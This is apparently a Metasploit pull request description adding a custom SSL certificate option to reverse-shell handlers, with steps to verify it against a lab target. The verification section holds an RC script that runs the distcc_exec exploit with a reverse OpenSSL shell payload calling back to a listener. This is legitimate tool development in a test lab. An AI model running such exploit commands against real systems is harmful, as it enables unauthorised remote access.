Allow all SSL handlers to have a custom SSL certificate supplied

This patch introduces HandlerSSLCert as a new option for all SSL-enabled handlers (except Meterpreter, which are handled in a separate PR). 

Custom SSL certificates have been tested with the following handlers:
 * cmd/unix/reverse_bash_telnet_ssl
 * cmd/unix/reverse_openssl
 * cmd/unix/reverse_perl_ssl
 * cmd/unix/reverse_php_ssl
 * cmd/unix/reverse_python_ssl
 * cmd/unix/reverse_ruby_ssl
 * cmd/unix/reverse_ssl_double_telnet
 * nodejs/shell_reverse_tcp_ssl
 * python/shell_reverse_tcp_ssl
 * ruby/shell_reverse_tcp_ssl

## Verification

- [x] Provide a unified PEM server certificate. You can make one like so: `sudo cat /etc/ssl/private/ssl-cert-snakeoil.key /etc/ssl/certs/ssl-cert-snakeoil.pem > /tmp/snakeoil.pem`
- [x] Start Wireshark, listen for port 4444.
- [x] In Wireshark, configure port 4444 to decode as SSL.
- [x] Run `./msfconsole -L` with the following RC script (with your IP addresses):

````
use exploit/unix/misc/distcc_exec 
set rhost metasploitable
set lhost 192.168.145.1
set VERBOSE true
set PAYLOAD cmd/unix/reverse_openssl
exploit
````

- [x] Type `id` at the command prompt to prove you have a session.
- [x] VERIFY: The Server hello packet contains a random server certificate. Example: `Certificate (id-at-commonName=cnbqevkaw)`
- [x] Ctrl-C to kill the session.
- [x] In msfconsole, `set HandlerSSLCert /tmp/snakeoil.pem`
- [x] `exploit` again.
- [x] VERIFY: The Server hello packet contains a nonrandom server certificate. Example: `Certificate (id-at-commonName=mazikeen)`